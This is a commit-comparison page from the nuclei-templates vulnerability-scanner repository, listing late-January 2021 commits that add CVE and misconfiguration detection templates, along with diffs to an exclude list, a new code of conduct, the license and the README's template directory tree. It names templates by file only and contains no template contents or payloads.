Compare commits

...
127 Commits
Author SHA1 Message Date
PD-Team 619d9bba40 workflow crash fix 2021-02-01 13:50:15 +05:30
PD-Team e1211fa597 Merge pull request #785 from projectdiscovery/CVE-2020-35476
Ading CVE-2020-35476 🔥
2021-01-31 23:06:11 +05:30
GitHub Action 07ca64dfe1 Auto Update README [Sun Jan 31 17:36:01 UTC 2021] 🤖 2021-01-31 17:36:01 +00:00
PD-Team 1e7f79065a Ading CVE-2020-35476 🔥 2021-01-31 23:05:32 +05:30
GitHub Action a329a450d8 Auto Update README [Sun Jan 31 10:29:23 UTC 2021] 🤖 2021-01-31 10:29:23 +00:00
PD-Team f8d5242701 Merge pull request #783 from pikpikcu/patch-34
Add CVE-2020-24579
2021-01-31 15:59:06 +05:30
PD-Team 55507dfdbb Update CVE-2020-24579.yaml 2021-01-31 15:58:15 +05:30
PD-Team aad1cc2924 Update salesforce-aura-misconfig.yaml 2021-01-31 15:51:25 +05:30
GitHub Action ec7ff98426 Auto Update README [Sun Jan 31 07:26:02 UTC 2021] 🤖 2021-01-31 07:26:02 +00:00
PD-Team 38c68c4f4c Merge pull request #784 from pikpikcu/patch-35
Create wooyun-path-traversal
2021-01-31 12:55:45 +05:30
PD-Team 6101f8e537 misc update 2021-01-31 12:54:53 +05:30
PikPikcU ed4b717d65 Create wooyun-path-traversal.yaml 2021-01-30 21:37:05 +00:00
PikPikcU cb9f3bd024 Create CVE-2020-24579.yaml 2021-01-30 17:41:47 +00:00
GitHub Action 0d3122901c Auto Update README [Sat Jan 30 13:54:36 UTC 2021] 🤖 2021-01-30 13:54:36 +00:00
PD-Team 56f508af7e Merge pull request #779 from pikpikcu/patch-31
added CVE-2020-27986
2021-01-30 19:24:19 +05:30
PD-Team efc31d6397 matcher update 2021-01-30 19:22:02 +05:30
GitHub Action 80d860af54 Auto Update README [Sat Jan 30 13:04:31 UTC 2021] 🤖 2021-01-30 13:04:31 +00:00
PD-Team 018bbc9075 Merge pull request #780 from pikpikcu/patch-32
Create CNVD-2020-62422 seeyon readfile
2021-01-30 18:34:13 +05:30
PD-Team f6ccec48ed Update CNVD-2020-62422.yaml 2021-01-30 18:33:26 +05:30
GitHub Action 73c5597039 Auto Update README [Sat Jan 30 12:54:40 UTC 2021] 🤖 2021-01-30 12:54:40 +00:00
PD-Team 66fc9f852c Merge pull request #781 from pikpikcu/patch-33
Added CVE-2021-3019 Lanproxy
2021-01-30 18:24:19 +05:30
PikPikcU aa7420713b Create CVE-2021-3019.yaml 2021-01-30 12:22:35 +00:00
PikPikcU 64209dca7d Create CNVD-2020-62422.yaml 2021-01-30 10:45:17 +00:00
PikPikcU 262ff4a266 Update CVE-2020-27986.yaml 2021-01-30 10:18:46 +00:00
PikPikcU 6451399e11 Create CVE-2020-27986.yaml 2021-01-30 09:51:50 +00:00
PD-Team 90cd9baa97 misc changes 2021-01-30 12:15:43 +05:30
GitHub Action 666efcc77e Auto Update README [Sat Jan 30 06:10:26 UTC 2021] 🤖 2021-01-30 06:10:26 +00:00
PD-Team 7a4f0b26a9 Merge pull request #775 from pikpikcu/patch-27
Added CVE-2020-13937 Apache kylin
2021-01-30 11:40:07 +05:30
PD-Team 8bd790f98d Update CVE-2020-13937.yaml 2021-01-30 11:39:17 +05:30
PD-Team 1e78e2d130 Update CVE-2020-13937.yaml 2021-01-30 11:27:56 +05:30
GitHub Action 01d094e8e9 Auto Update README [Sat Jan 30 05:50:54 UTC 2021] 🤖 2021-01-30 05:50:54 +00:00
PD-Team 08119c0df6 Merge pull request #777 from pikpikcu/patch-29
Add  (CVE-2018-8033) Apache OFBiz XXE
2021-01-30 11:20:37 +05:30
GitHub Action 787f2fd31c Auto Update README [Sat Jan 30 05:33:44 UTC 2021] 🤖 2021-01-30 05:33:44 +00:00
PD-Team 1bdb30c5b8 Merge pull request #776 from pikpikcu/patch-28
alibaba-canal-info-leak
2021-01-30 11:03:21 +05:30
PD-Team d469835cc5 misc changes 2021-01-30 11:02:29 +05:30
GitHub Action 858ad735ee Auto Update README [Sat Jan 30 04:48:24 UTC 2021] 🤖 2021-01-30 04:48:24 +00:00
PD-Team 3be5354a7d Delete CVE-2020-10199.yaml 2021-01-30 10:18:01 +05:30
PikPikcU 2c7a7a8b4d Create CVE-2018-8033.yaml 2021-01-30 03:58:20 +00:00
PikPikcU 1c456c03d6 Update alibaba-canal-info-leak.yaml 2021-01-30 00:58:14 +00:00
PikPikcU a2ffd5579b Create alibaba-canal-info-leak.yaml 2021-01-30 00:54:16 +00:00
PikPikcU fb97d100b8 Create CVE-2020-13937.yaml 2021-01-30 00:28:31 +00:00
GitHub Action 18bc1f9058 Auto Update README [Fri Jan 29 18:24:15 UTC 2021] 🤖 2021-01-29 18:24:15 +00:00
PD-Team 064f084dee misc changes 2021-01-29 23:53:50 +05:30
GitHub Action b1c528f1fe Auto Update README [Fri Jan 29 18:12:08 UTC 2021] 🤖 2021-01-29 18:12:08 +00:00
PD-Team 544382d143 Merge pull request #767 from pudsec/master
Added CVE-2021-22873
2021-01-29 23:41:48 +05:30
PD-Team 865c778d4b few updates 2021-01-29 23:35:27 +05:30
GitHub Action 8716982876 Auto Update README [Fri Jan 29 17:46:17 UTC 2021] 🤖 2021-01-29 17:46:17 +00:00
PD-Team 2ff5e8ca42 Removing CVE-2020-10204
Reference:- https://github.com/projectdiscovery/nuclei-templates/pull/212#issuecomment-655051520
2021-01-29 23:15:54 +05:30
GitHub Action 8623e04d4d Auto Update README [Thu Jan 28 18:55:41 UTC 2021] 🤖 2021-01-28 18:55:41 +00:00
PD-Team f2dd4116ea Merge pull request #774 from pikpikcu/patch-26
Add CVE-2020-8515
2021-01-29 00:25:19 +05:30
PD-Team 81891e9cbd file name update 2021-01-29 00:23:43 +05:30
PD-Team a2d7e4c17c adding missing cves to workflow 2021-01-29 00:15:13 +05:30
PD-Team d4cd988434 workflow update 2021-01-29 00:10:02 +05:30
GitHub Action 03d7cd10eb Auto Update README [Thu Jan 28 18:37:40 UTC 2021] 🤖 2021-01-28 18:37:40 +00:00
PD-Team 675c576b86 Merge pull request #757 from wdahlenburg/split_spring_boot_detect
Split up springboot-detect
2021-01-29 00:07:17 +05:30
PD-Team 40e1df8493 few fixes 2021-01-29 00:06:15 +05:30
PD-Team 663de70127 workflow updates 2021-01-28 23:47:22 +05:30
GitHub Action 7e10ff9064 Auto Update README [Thu Jan 28 18:01:07 UTC 2021] 🤖 2021-01-28 18:01:07 +00:00
PD-Team 225aae6bb8 Delete springboot-detect.yaml 2021-01-28 23:30:34 +05:30
PD-Team 2fd6ae31cb Delete springboot-logfile.yaml 2021-01-28 23:27:15 +05:30
PD-Team 21bfead0b1 renaming few templates 2021-01-28 23:13:50 +05:30
PD-Team a9c9809283 Adding springboot-detect-logfile 2021-01-28 21:35:48 +05:30
PD-Team 0eee24b932 Adding springboot-detect-loggers 2021-01-28 21:26:38 +05:30
PikPikcU ee82f8364e Create CVE-2020-8515 2021-01-28 15:30:20 +00:00
GitHub Action 0ba5cb746f Auto Update README [Thu Jan 28 14:57:10 UTC 2021] 🤖 2021-01-28 14:57:10 +00:00
PD-Team a1cded9f2b Merge pull request #773 from pikpikcu/patch-25
Add CVE-2020-17530
2021-01-28 20:26:45 +05:30
PikPikcU 2c217760db Update CVE-2020-17530.yaml 2021-01-27 19:07:23 +00:00
PikPikcU 72c8d0e2ef Update CVE-2020-17530.yaml 2021-01-27 19:03:03 +00:00
PikPikcU ad23717e7c Create CVE-2020-17530.yaml 2021-01-27 18:47:58 +00:00
GitHub Action 682c9745c7 Auto Update README [Wed Jan 27 17:41:02 UTC 2021] 🤖 2021-01-27 17:41:02 +00:00
PD-Team 6f29ea6a16 Create CODE_OF_CONDUCT.md 2021-01-27 23:10:18 +05:30
GitHub Action f57bbc4f41 Auto Update README [Wed Jan 27 04:40:22 UTC 2021] 🤖 2021-01-27 04:40:22 +00:00
PD-Team 23aeed3f9b Merge pull request #772 from PR3R00T/patch-10
New Sonicwall 0day Exploit test
2021-01-27 10:10:00 +05:30
PD-Team a887ebe289 few updates 2021-01-26 20:01:01 +05:30
PR3R00T 7f1abf1e4b Update sonicwall-sslvpn-shellshock.yml 2021-01-26 10:45:15 +00:00
PR3R00T 1712d10086 Update sonicwall-sslvpn-shellshock.yml 2021-01-26 10:44:17 +00:00
PR3R00T 4782898579 Update sonicwall-sslvpn-shellshock.yml 2021-01-26 10:40:48 +00:00
PR3R00T f4529d02c5 Update sonicwall-sslvpn-shellshock.yml 2021-01-26 10:37:18 +00:00
PR3R00T abe3f04402 Update sonicwall-sslvpn-shellshock.yml 2021-01-26 10:34:17 +00:00
PR3R00T 45d26b875e New Sonicwall 0day Exploit test 2021-01-26 10:20:46 +00:00
pudsec 5e7ae851f1 Added CVE-2021-22873 2021-01-24 19:37:25 +08:00
GitHub Action 41a7be73e4 Auto Update README [Fri Jan 22 21:45:35 UTC 2021] 🤖 2021-01-22 21:45:35 +00:00
PD-Team e2731dba90 Merge pull request #766 from geeknik/patch-36
Create selea-ip-camera.yaml
2021-01-23 03:15:11 +05:30
Geeknik Labs 26ded33ff7 Create selea-ip-camera.yaml
This only detects the presence of the camera control panel. It's up to the user to verify the "unauthenticated stream disclosure" exists. Please see the URL in the description for details.
2021-01-22 16:16:49 +00:00
PD-Team 98e97a61cc Merge branch 'master' of https://github.com/projectdiscovery/nuclei-templates 2021-01-21 23:28:49 +05:30
PD-Team c762044d29 updating incorrect file permissions 2021-01-21 23:28:32 +05:30
GitHub Action 589fc182ad Auto Update README [Thu Jan 21 17:41:50 UTC 2021] 🤖 2021-01-21 17:41:50 +00:00
PD-Team a98c2c6bb1 moving files 2021-01-21 23:11:15 +05:30
GitHub Action de5c1e0b47 Auto Update README [Thu Jan 21 15:02:57 UTC 2021] 🤖 2021-01-21 15:02:57 +00:00
PD-Team 3677f1c29d Merge pull request #765 from geeknik/patch-35
Create php-fpm-status.yaml
2021-01-21 20:32:29 +05:30
PD-Team a922262352 moving files around 2021-01-21 20:31:16 +05:30
Geeknik Labs 4e5b984ab5 Create php-fpm-status.yaml
Examples can be found at https://www.shodan.io/search?query=PHP-FPM+Status
More information can be found at https://rtcamp.com/tutorials/php/fpm-status-page/
2021-01-21 14:49:05 +00:00
GitHub Action 3c6bdd78ba Auto Update README [Thu Jan 21 14:48:12 UTC 2021] 🤖 2021-01-21 14:48:12 +00:00
PD-Team 8d0146bd28 Merge branch 'master' of https://github.com/projectdiscovery/nuclei-templates 2021-01-21 20:17:38 +05:30
PD-Team de09cbbd43 updating template 2021-01-21 20:17:20 +05:30
GitHub Action 49719a1f36 Auto Update README [Thu Jan 21 14:46:15 UTC 2021] 🤖 2021-01-21 14:46:15 +00:00
PD-Team d0385eb39b Merge pull request #762 from RatnadipGajbhiye/master
WordPress-user-registration-enabled.yaml
2021-01-21 20:15:51 +05:30
GitHub Action 0ccc0a38c0 Auto Update README [Thu Jan 21 14:22:53 UTC 2021] 🤖 2021-01-21 14:22:53 +00:00
PD-Team b81431fc29 Merge pull request #761 from DhiyaneshGeek/master
Ngnix Status Page detect
2021-01-21 19:52:29 +05:30
PD-Team 16f1cfc82c Update nginx-status.yaml 2021-01-21 19:50:58 +05:30
ratnadip1998 83680ab280 Merge pull request #1 from RatnadipGajbhiye/Ratnadip-Gajbhiye
Create WordPress-user-registration-enabled.yaml
2021-01-20 15:57:36 +05:30
ratnadip1998 b4989107e6 Create WordPress-user-registration-enabled.yaml
Description :
Your WordPress site is currently configured so that anyone can register as a user. If you are not using this functionality, it's recommended to disable user registration as it caused some security issues in the past and is increasing the attack surface.
2021-01-20 15:52:55 +05:30
Dhiyaneshwaran abe02d6e31 Add files via upload 2021-01-20 14:36:14 +05:30
Dhiyaneshwaran 28d15453d9 Merge pull request #7 from projectdiscovery/master
Updation
2021-01-20 14:35:12 +05:30
PD-Team 741d05a4c0 misc fix 2021-01-19 17:17:14 +05:30
GitHub Action 18ffc0c267 Auto Update README [Tue Jan 19 09:37:13 UTC 2021] 🤖 2021-01-19 09:37:13 +00:00
PD-Team a1acbec6f2 Merge pull request #760 from drset/thinkphp_branch
Added ThinkPHP templates and signature.
2021-01-19 15:06:50 +05:30
PD-Team 936f01a84d adding thinkphp workflow 2021-01-19 15:05:55 +05:30
PD-Team 1a14ff8c44 syntax update 2021-01-19 12:33:48 +05:30
parrot 58ebf59035 Added ThinkPHP templates and signature. 2021-01-19 01:16:59 -03:00
GitHub Action 4b13b7a485 Auto Update README [Sat Jan 16 15:29:01 UTC 2021] 🤖 2021-01-16 15:29:01 +00:00
PD-Team f1fde92070 Merge pull request #759 from geeknik/patch-35
Create lucee-detect.yaml
2021-01-16 20:58:42 +05:30
Geeknik Labs 1a6c4e7f33 Update lucee-detect.yaml 2021-01-16 15:25:15 +00:00
Geeknik Labs 642480ecb8 Create lucee-detect.yaml 2021-01-16 15:02:41 +00:00
PD-Team f7b9ae5148 updating exclude list 2021-01-15 21:00:35 +05:30
PD-Team 54af34fa79 Merge pull request #758 from tommy-muehle/patch-1
Add further path to composer-config.yaml
2021-01-15 15:08:54 +05:30
Tommy Mühle 0c237549fe Add further path to composer-config.yaml
If the vendor directory is part of the web root you can also find the config in the provided path. Of course you've then also some more problems besides that ;)
2021-01-15 10:29:10 +01:00
Wyatt Dahlenburg bbf0d42cf9 Split springboot-detect into individual templates with appropriate severities and matchers 2021-01-14 10:09:23 -06:00
PD-Team 8d647ffbad Update CVE-2020-5410.yaml 2021-01-14 20:21:36 +05:30
PD-Team dc24595935 BaseURL updates 2021-01-14 20:11:56 +05:30
GitHub Action f8114097a2 Auto Update README [Thu Jan 14 14:11:28 UTC 2021] 🤖 2021-01-14 14:11:28 +00:00
PD-Team 631a135ea5 Delete basic-auth-workflow.yaml 2021-01-14 19:40:22 +05:30
GitHub Action 29c1b3422d Auto Update README [Thu Jan 14 06:57:45 UTC 2021] 🤖 2021-01-14 06:57:45 +00:00
PD-Team 9234a6801f moving files around 2021-01-14 12:27:13 +05:30
GitHub Action e39a230a18 Auto Update README [Thu Jan 14 06:00:54 UTC 2021] 🤖 2021-01-14 06:00:54 +00:00
PD-Team 0d92c9e39f Merge pull request #756 from geeknik/patch-35
Update and rename public-tomcat-instance.yaml to public-tomcat-manager.yaml
2021-01-14 11:30:30 +05:30
Geeknik Labs 066e3813be Update and rename public-tomcat-instance.yaml to public-tomcat-manager.yaml
Updating the name to better reflect what we're looking for. 
Updating the status matcher since some Tomcat manager instances don't require auth.
2021-01-13 17:28:48 -06:00
119 changed files with 1124 additions and 351 deletions

No files matched your search

+1 -12
View File
@@ -25,15 +25,4 @@ helpers/
miscellaneous/
# Workflows are excluded from default run to avoid duplicate scans.
workflows/
# Adding older folder to avoid possilbe issue with nuclei ignore execution.
misc/
default-credentials/
files/
generic-detections/
panels/
payloads/
security-misconfiguration/
subdomain-takeover/
tokens/
workflows/
+76
View File
@@ -0,0 +1,76 @@
# Contributor Covenant Code of Conduct
## Our Pledge
In the interest of fostering an open and welcoming environment, we as
contributors and maintainers pledge to making participation in our project and
our community a harassment-free experience for everyone, regardless of age, body
size, disability, ethnicity, sex characteristics, gender identity and expression,
level of experience, education, socio-economic status, nationality, personal
appearance, race, religion, or sexual identity and orientation.
## Our Standards
Examples of behavior that contributes to creating a positive environment
include:
* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members
Examples of unacceptable behavior by participants include:
* The use of sexualized language or imagery and unwelcome sexual attention or
advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic
address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a
professional setting
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable
behavior and are expected to take appropriate and fair corrective action in
response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or
reject comments, commits, code, wiki edits, issues, and other contributions
that are not aligned to this Code of Conduct, or to ban temporarily or
permanently any contributor for other behaviors that they deem inappropriate,
threatening, offensive, or harmful.
## Scope
This Code of Conduct applies both within project spaces and in public spaces
when an individual is representing the project or its community. Examples of
representing a project or community include using an official project e-mail
address, posting via an official social media account, or acting as an appointed
representative at an online or offline event. Representation of a project may be
further defined and clarified by project maintainers.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported by contacting the project team at contact@projectdiscovery.io. All
complaints will be reviewed and investigated and will result in a response that
is deemed necessary and appropriate to the circumstances. The project team is
obligated to maintain confidentiality with regard to the reporter of an incident.
Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good
faith may face temporary or permanent repercussions as determined by other
members of the project's leadership.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
[homepage]: https://www.contributor-covenant.org
For answers to common questions about this code of conduct, see
https://www.contributor-covenant.org/faq
+1 -1
View File
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2020 Exposed Atoms.
Copyright (c) 2020 ProjectDiscovery, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
+109 -79
View File
@@ -28,13 +28,13 @@ An overview of the nuclei template directory including number of templates assoc
| Templates | Counts | Templates | Counts |
| --------------- | ------------------------------- | ---------------- | ------------------------------ |
| cves | 154 | default-logins | 8 |
| dns | 6 | exposed-panels | 72 |
| cves | 161 | default-logins | 8 |
| dns | 6 | exposed-panels | 73 |
| exposed-tokens | 9 | exposures | 40 |
| fuzzing | 5 | helpers | 3 |
| miscellaneous | 14 | misconfiguration | 37 |
| takeovers | 1 | technologies | 44 |
| vulnerabilities | 62 | workflows | 17 |
| miscellaneous | 13 | misconfiguration | 39 |
| takeovers | 1 | technologies | 46 |
| vulnerabilities | 71 | workflows | 17 |
**Tree structure of nuclei templates:**
@@ -43,6 +43,7 @@ An overview of the nuclei template directory including number of templates assoc
<summary> Nuclei templates </summary>
```
├── CODE_OF_CONDUCT.md
├── LICENSE.md
├── README.md
├── cves
@@ -89,7 +90,8 @@ An overview of the nuclei template directory including number of templates assoc
│   │   ├── CVE-2018-5230.yaml
│   │   ├── CVE-2018-7251.yaml
│   │   ├── CVE-2018-7490.yaml
│   │   └── CVE-2018-8006.yaml
│   │   ├── CVE-2018-8006.yaml
│   │   └── CVE-2018-8033.yaml
│   ├── 2019
│   │   ├── CVE-2019-10092.yaml
│   │   ├── CVE-2019-1010287.yaml
@@ -145,69 +147,76 @@ An overview of the nuclei template directory including number of templates assoc
│   │   ├── CVE-2019-9733.yaml
│   │   ├── CVE-2019-9955.yaml
│   │   └── CVE-2019-9978.yaml
│   └── 2020
│   ├── CVE-2020-0618.yaml
│   ├── CVE-2020-10148.yaml
│   ├── CVE-2020-10199.yaml
│   ├── CVE-2020-10204.yaml
│   ├── CVE-2020-11034.yaml
│   ├── CVE-2020-1147.yaml
│   ├── CVE-2020-11738.yaml
│   ├── CVE-2020-12116.yaml
│   ├── CVE-2020-12720.yaml
│   ├── CVE-2020-13167.yaml
│   ├── CVE-2020-13942.yaml
│   ├── CVE-2020-14179.yaml
│   ├── CVE-2020-14181.yaml
│   ├── CVE-2020-14864.yaml
│   ├── CVE-2020-14882.yaml
│   ├── CVE-2020-15129.yaml
│   ├── CVE-2020-15505.yaml
│   ├── CVE-2020-15920.yaml
│   ├── CVE-2020-16846.yaml
│   ├── CVE-2020-16952.yaml
│   ├── CVE-2020-17505.yaml
│   ├── CVE-2020-17506.yaml
│   ├── CVE-2020-17518.yaml
│   ├── CVE-2020-17519.yaml
│   ├── CVE-2020-1943.yaml
│   ├── CVE-2020-2096.yaml
│   ├── CVE-2020-2140.yaml
│   ├── CVE-2020-23972.yaml
│   ├── CVE-2020-24223.yaml
│   ├── CVE-2020-24312.yaml
│   ├── CVE-2020-2551.yaml
│   ├── CVE-2020-25540.yaml
│   ├── CVE-2020-26214.yaml
│   ├── CVE-2020-3187.yaml
│   ├── CVE-2020-3452.yaml
│   ├── CVE-2020-4463.yaml
│   ├── CVE-2020-5284.yaml
│   ├── CVE-2020-5405.yaml
│   ├── CVE-2020-5410.yaml
│   ├── CVE-2020-5412.yaml
│   ├── CVE-2020-5776.yaml
│   ├── CVE-2020-5777.yaml
│   ├── CVE-2020-5902.yaml
│   ├── CVE-2020-6287.yaml
│   ├── CVE-2020-7209.yaml
│   ├── CVE-2020-7318.yaml
│   ├── CVE-2020-7961.yaml
│   ├── CVE-2020-8091.yaml
│   ├── CVE-2020-8115.yaml
│   ├── CVE-2020-8163.yaml
│   ├── CVE-2020-8191.yaml
│   ├── CVE-2020-8193.yaml
│   ├── CVE-2020-8194.yaml
│   ├── CVE-2020-8209.yaml
│   ├── CVE-2020-8512.yaml
│   ├── CVE-2020-8982.yaml
│   ├── CVE-2020-9047.yaml
│   ├── CVE-2020-9344.yaml
│   ├── CVE-2020-9376.yaml
│   ├── CVE-2020-9484.yaml
│   ├── CVE-2020-9496.yaml
│   └── CVE-2020-9757.yaml
│   ├── 2020
│   │   ├── CVE-2020-0618.yaml
│   │   ├── CVE-2020-10148.yaml
│   │   ├── CVE-2020-11034.yaml
│   │   ├── CVE-2020-1147.yaml
│   │   ├── CVE-2020-11738.yaml
│   │   ├── CVE-2020-12116.yaml
│   │   ├── CVE-2020-12720.yaml
│   │   ├── CVE-2020-13167.yaml
│   │   ├── CVE-2020-13937.yaml
│   │   ├── CVE-2020-13942.yaml
│   │   ├── CVE-2020-14179.yaml
│   │   ├── CVE-2020-14181.yaml
│   │   ├── CVE-2020-14864.yaml
│   │   ├── CVE-2020-14882.yaml
│   │   ├── CVE-2020-15129.yaml
│   │   ├── CVE-2020-15505.yaml
│   │   ├── CVE-2020-15920.yaml
│   │   ├── CVE-2020-16846.yaml
│   │   ├── CVE-2020-16952.yaml
│   │   ├── CVE-2020-17505.yaml
│   │   ├── CVE-2020-17506.yaml
│   │   ├── CVE-2020-17518.yaml
│   │   ├── CVE-2020-17519.yaml
│   │   ├── CVE-2020-17530.yaml
│   │   ├── CVE-2020-1943.yaml
│   │   ├── CVE-2020-2096.yaml
│   │   ├── CVE-2020-2140.yaml
│   │   ├── CVE-2020-23972.yaml
│   │   ├── CVE-2020-24223.yaml
│   │   ├── CVE-2020-24312.yaml
│   │   ├── CVE-2020-24579.yaml
│   │   ├── CVE-2020-2551.yaml
│   │   ├── CVE-2020-25540.yaml
│   │   ├── CVE-2020-26214.yaml
│   │   ├── CVE-2020-27986.yaml
│   │   ├── CVE-2020-3187.yaml
│   │   ├── CVE-2020-3452.yaml
│   │   ├── CVE-2020-35476.yaml
│   │   ├── CVE-2020-4463.yaml
│   │   ├── CVE-2020-5284.yaml
│   │   ├── CVE-2020-5405.yaml
│   │   ├── CVE-2020-5410.yaml
│   │   ├── CVE-2020-5412.yaml
│   │   ├── CVE-2020-5776.yaml
│   │   ├── CVE-2020-5777.yaml
│   │   ├── CVE-2020-5902.yaml
│   │   ├── CVE-2020-6287.yaml
│   │   ├── CVE-2020-7209.yaml
│   │   ├── CVE-2020-7318.yaml
│   │   ├── CVE-2020-7961.yaml
│   │   ├── CVE-2020-8091.yaml
│   │   ├── CVE-2020-8115.yaml
│   │   ├── CVE-2020-8163.yaml
│   │   ├── CVE-2020-8191.yaml
│   │   ├── CVE-2020-8193.yaml
│   │   ├── CVE-2020-8194.yaml
│   │   ├── CVE-2020-8209.yaml
│   │   ├── CVE-2020-8512.yaml
│   │   ├── CVE-2020-8515.yaml
│   │   ├── CVE-2020-8982.yaml
│   │   ├── CVE-2020-9047.yaml
│   │   ├── CVE-2020-9344.yaml
│   │   ├── CVE-2020-9376.yaml
│   │   ├── CVE-2020-9484.yaml
│   │   ├── CVE-2020-9496.yaml
│   │   └── CVE-2020-9757.yaml
│   └── 2021
│   ├── CVE-2021-22873.yaml
│   └── CVE-2021-3019.yaml
├── default-logins
│   ├── activemq
│   │   └── activemq-default-login.yaml
@@ -277,7 +286,8 @@ An overview of the nuclei template directory including number of templates assoc
│   ├── parallels-html-client.yaml
│   ├── phpmyadmin-panel.yaml
│   ├── polycom-admin-detect.yaml
│   ├── public-tomcat-instance.yaml
│   ├── prometheus-exporter-detect.yaml
│   ├── public-tomcat-manager.yaml
│   ├── pulse-secure-panel.yaml
│   ├── rabbitmq-dashboard.yaml
│   ├── rocketmq-console-exposure.yaml
@@ -330,6 +340,7 @@ An overview of the nuclei template directory including number of templates assoc
│   │   └── zip-backup-files.yaml
│   ├── configs
│   │   ├── airflow-configuration-exposure.yaml
│   │   ├── alibaba-canal-info-leak.yaml
│   │   ├── amazon-docker-config-disclosure.yaml
│   │   ├── ansible-config-disclosure.yaml
│   │   ├── composer-config.yaml
@@ -346,7 +357,6 @@ An overview of the nuclei template directory including number of templates assoc
│   │   ├── phpinfo.yaml
│   │   ├── rails-database-config.yaml
│   │   ├── redmine-db-config.yaml
│   │   ├── server-status-localhost.yaml
│   │   ├── syfmony-profiler.yaml
│   │   ├── symfony-database-config.yaml
│   │   ├── symfony-profiler.yaml
@@ -391,7 +401,6 @@ An overview of the nuclei template directory including number of templates assoc
│   ├── security.txt.yaml
│   ├── trace-method.yaml
│   ├── unencrypted-bigip-ltm-cookie.yaml
│   ├── wp-xmlrpc.yaml
│   └── xml-schema-detect.yaml
├── misconfiguration
│   ├── aem-groovyconsole.yaml
@@ -402,12 +411,12 @@ An overview of the nuclei template directory including number of templates assoc
│   ├── aws-redirect.yaml
│   ├── cgi-test-page.yaml
│   ├── django-debug-detect.yaml
│   ├── docker-api.yaml
│   ├── docker-registry.yaml
│   ├── druid-monitor.yaml
│   ├── drupal-user-enum-ajax.yaml
│   ├── drupal-user-enum-redirect.yaml
│   ├── elasticsearch.yaml
│   ├── exposed-docker-api.yaml
│   ├── exposed-kibana.yaml
│   ├── exposed-service-now.yaml
│   ├── front-page-misconfig.yaml
@@ -418,13 +427,22 @@ An overview of the nuclei template directory including number of templates assoc
│   ├── larvel-debug.yaml
│   ├── linkerd-ssrf-detect.yaml
│   ├── manage-engine-ad-search.yaml
│   ├── nginx-status.yaml
│   ├── php-errors.yaml
│   ├── php-fpm-status.yaml
│   ├── put-method-enabled.yaml
│   ├── rack-mini-profiler.yaml
│   ├── salesforce-aura-misconfig.yaml
│   ├── server-status-localhost.yaml
│   ├── shell-history.yaml
│   ├── sidekiq-dashboard.yaml
│   ├── springboot-detect.yaml
│   ├── springboot
│   │   ├── springboot-configprops.yaml
│   │   ├── springboot-env.yaml
│   │   ├── springboot-heapdump.yaml
│   │   ├── springboot-loggers.yaml
│   │   ├── springboot-mappings.yaml
│   │   └── springboot-trace.yaml
│   ├── symfony-debugmode.yaml
│   ├── tomcat-scripts.yaml
│   ├── unauthenticated-airflow.yaml
@@ -441,6 +459,7 @@ An overview of the nuclei template directory including number of templates assoc
│   ├── cacti-detect.yaml
│   ├── clockwork-php-page.yaml
│   ├── couchdb-detect.yaml
│   ├── detect-springboot-actuator.yaml
│   ├── favicon-detection.yaml
│   ├── firebase-detect.yaml
│   ├── google-storage.yaml
@@ -454,19 +473,20 @@ An overview of the nuclei template directory including number of templates assoc
│   ├── liferay-portal-detect.yaml
│   ├── linkerd-badrule-detect.yaml
│   ├── lotus-domino-version.yaml
│   ├── lucee-detect.yaml
│   ├── magmi-detect.yaml
│   ├── mrtg-detect.yaml
│   ├── netsweeper-webadmin-detect.yaml
│   ├── nifi-detech.yaml
│   ├── oidc-detect.yaml
│   ├── pi-hole-detect.yaml
│   ├── prometheus-exporter-detect.yaml
│   ├── prometheus-exposed-panel.yaml
│   ├── prtg-detect.yaml
│   ├── redmine-cli-detect.yaml
│   ├── s3-detect.yaml
│   ├── sap-netweaver-as-java-detect.yaml
│   ├── sap-netweaver-detect.yaml
│   ├── selea-ip-camera.yaml
│   ├── shiro-detect.yaml
│   ├── sql-server-reporting.yaml
│   ├── tech-detect.yaml
@@ -504,9 +524,10 @@ An overview of the nuclei template directory including number of templates assoc
│   ├── oracle
│   │   └── oracle-ebs-bispgraph-file-access.yaml
│   ├── other
│   │   ├── CNVD-2020-62422.yaml
│   │   ├── acme-xss.yaml
│   │   ├── aspnuke-openredirect.yaml
│   │   ├── bullwark-momentum-series-directory-traversal.yaml
│   │   ├── bullwark-momentum-lfi.yaml
│   │   ├── cached-aem-pages.yaml
│   │   ├── couchdb-adminparty.yaml
│   │   ├── discourse-xss.yaml
@@ -520,12 +541,14 @@ An overview of the nuclei template directory including number of templates assoc
│   │   ├── rce-via-java-deserialization.yaml
│   │   ├── rconfig-rce.yaml
│   │   ├── sick-beard-xss.yaml
│   │   ├── sonicwall-sslvpn-shellshock.yaml
│   │   ├── symantec-messaging-gateway.yaml
│   │   ├── thinkific-redirect.yaml
│   │   ├── tikiwiki-reflected-xss.yaml
│   │   ├── twig-php-ssti.yaml
│   │   ├── vpms-auth-bypass.yaml
│   │   ├── wems-manager-xss.yaml
│   │   ├── wooyun-path-traversal.yaml
│   │   ├── yarn-resourcemanager-rce.yaml
│   │   └── zms-auth-bypass.yaml
│   ├── rails
@@ -533,6 +556,11 @@ An overview of the nuclei template directory including number of templates assoc
│   ├── springboot
│   │   ├── springboot-actuators-jolokia-xxe.yaml
│   │   └── springboot-h2-db-rce.yaml
│   ├── thinkphp
│   │   ├── thinkphp-2-rce.yaml
│   │   ├── thinkphp-5022-rce.yaml
│   │   ├── thinkphp-5023-rce.yaml
│   │   └── thinkphp-509-information-disclosure.yaml
│   ├── vmware
│   │   ├── vmware-vcenter-lfi-linux.yaml
│   │   └── vmware-vcenter-lfi.yaml
@@ -551,10 +579,11 @@ An overview of the nuclei template directory including number of templates assoc
│   ├── wordpress-tmm-db-migrate.yaml
